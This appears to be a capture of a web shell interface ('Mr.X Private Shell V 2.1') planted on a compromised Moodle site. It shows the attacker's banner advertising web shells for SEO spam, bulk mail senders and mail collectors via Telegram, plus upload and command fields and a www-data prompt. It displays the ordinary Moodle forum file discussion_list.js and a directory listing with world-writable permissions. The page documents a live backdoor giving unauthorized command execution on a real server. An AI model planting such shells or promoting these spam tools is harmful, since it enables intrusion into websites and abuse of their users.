__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Module for the list of discussions on when viewing a forum.
 *
 * @module     mod_forum/discussion_list
 * @copyright  2019 Andrew Nicols <andrew@nicols.co.uk>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define([
    'jquery',
    'core/templates',
    'core/str',
    'core/notification',
    'mod_forum/subscription_toggle',
    'mod_forum/selectors',
    'mod_forum/repository',
    'core/pubsub',
    'mod_forum/forum_events',
    'core_form/changechecker',
], function(
    $,
    Templates,
    Str,
    Notification,
    SubscriptionToggle,
    Selectors,
    Repository,
    PubSub,
    ForumEvents,
    FormChangeChecker
) {
    var registerEventListeners = function(root) {
        PubSub.subscribe(ForumEvents.SUBSCRIPTION_TOGGLED, function(data) {
            var discussionId = data.discussionId;
            var subscribed = data.subscriptionState;
            var discussionListItem = root.find(Selectors.discussion.item + '[data-discussionid= ' + discussionId + ']');
            var subscribedLabel = discussionListItem.find(Selectors.discussion.subscribedLabel);
            if (subscribed) {
                discussionListItem.addClass('subscribed');
                subscribedLabel.removeAttr('hidden');
            } else {
                discussionListItem.removeClass('subscribed');
                subscribedLabel.attr('hidden', true);
            }
        });

        root.on('click', Selectors.post.inpageCancelButton, function(e) {
            // Tell formchangechecker to reset the form state.
            FormChangeChecker.resetFormDirtyState(e.currentTarget);
        });

        root.on('click', Selectors.favourite.toggle, function(e) {
            e.preventDefault();

            var toggleElement = $(this);
            var forumId = toggleElement.data('forumid');
            var discussionId = toggleElement.data('discussionid');
            var subscriptionState = toggleElement.data('targetstate');
            Repository.setFavouriteDiscussionState(forumId, discussionId, subscriptionState)
                .then(function() {
                    return location.reload();
                })
                .catch(Notification.exception);
        });

        root.on('click', Selectors.pin.toggle, function(e) {
            e.preventDefault();
            var toggleElement = $(this);
            var forumId = toggleElement.data('forumid');
            var discussionId = toggleElement.data('discussionid');
            var state = toggleElement.data('targetstate');
            Repository.setPinDiscussionState(forumId, discussionId, state)
                .then(function() {
                    return location.reload();
                })
                .catch(Notification.exception);
        });

        root.on('click', Selectors.lock.toggle, function(e) {
            var toggleElement = $(this);
            var forumId = toggleElement.data('forumid');
            var discussionId = toggleElement.data('discussionid');
            var state = toggleElement.data('state');

            Repository.setDiscussionLockState(forumId, discussionId, state)
                .then(function(context) {
                    var icon = toggleElement.parents(Selectors.summary.actions).find(Selectors.lock.icon);
                    var lockedLabel = toggleElement.parents(Selectors.discussion.item).find(Selectors.discussion.lockedLabel);
                    if (context.locked) {
                        icon.removeClass('hidden');
                        lockedLabel.removeAttr('hidden');
                    } else {
                        icon.addClass('hidden');
                        lockedLabel.attr('hidden', true);
                    }
                    return context;
                })
                .then(function(context) {
                    context.forumid = forumId;
                    return Templates.render('mod_forum/discussion_lock_toggle', context);
                })
                .then(function(html, js) {
                    return Templates.replaceNode(toggleElement, html, js);
                })
                .then(function() {
                    return Str.get_string('lockupdated', 'forum')
                        .done(function(s) {
                            return Notification.addNotification({
                                message: s,
                                type: "info"
                            });
                        });
                })
                .catch(Notification.exception);

            e.preventDefault();
        });
    };

    return {
        init: function(root) {
            SubscriptionToggle.init(root, false, function(toggleElement, context) {
                var toggleId = toggleElement.attr('id');
                var newTargetState = context.userstate.subscribed ? 0 : 1;
                toggleElement.data('targetstate', newTargetState);

                var stringKey = context.userstate.subscribed ? 'unsubscribediscussion' : 'subscribediscussion';
                return Str.get_string(stringKey, 'mod_forum')
                    .then(function(string) {
                        toggleElement.closest('td').find('label[for="' + toggleId + '"]').find('span').text(string);
                        return string;
                    });
            });
            registerEventListeners(root);
        }
    };
});

Filemanager

Name Type Size Permission Actions
grades Folder 0777
local Folder 0777
discussion.js File 10.17 KB 0777
discussion_list.js File 5.95 KB 0777
discussion_nested_v2.js File 15.74 KB 0777
favourite_toggle.js File 2.66 KB 0777
form-user-selector.js File 2.65 KB 0777
forum_events.js File 1020 B 0777
inpage_reply.js File 8.84 KB 0777
lock_toggle.js File 2.09 KB 0777
pin_toggle.js File 2.82 KB 0777
posts_list.js File 4.3 KB 0777
repository.js File 5.64 KB 0777
selectors.js File 3.34 KB 0777
subscription_toggle.js File 2.56 KB 0777
Filemanager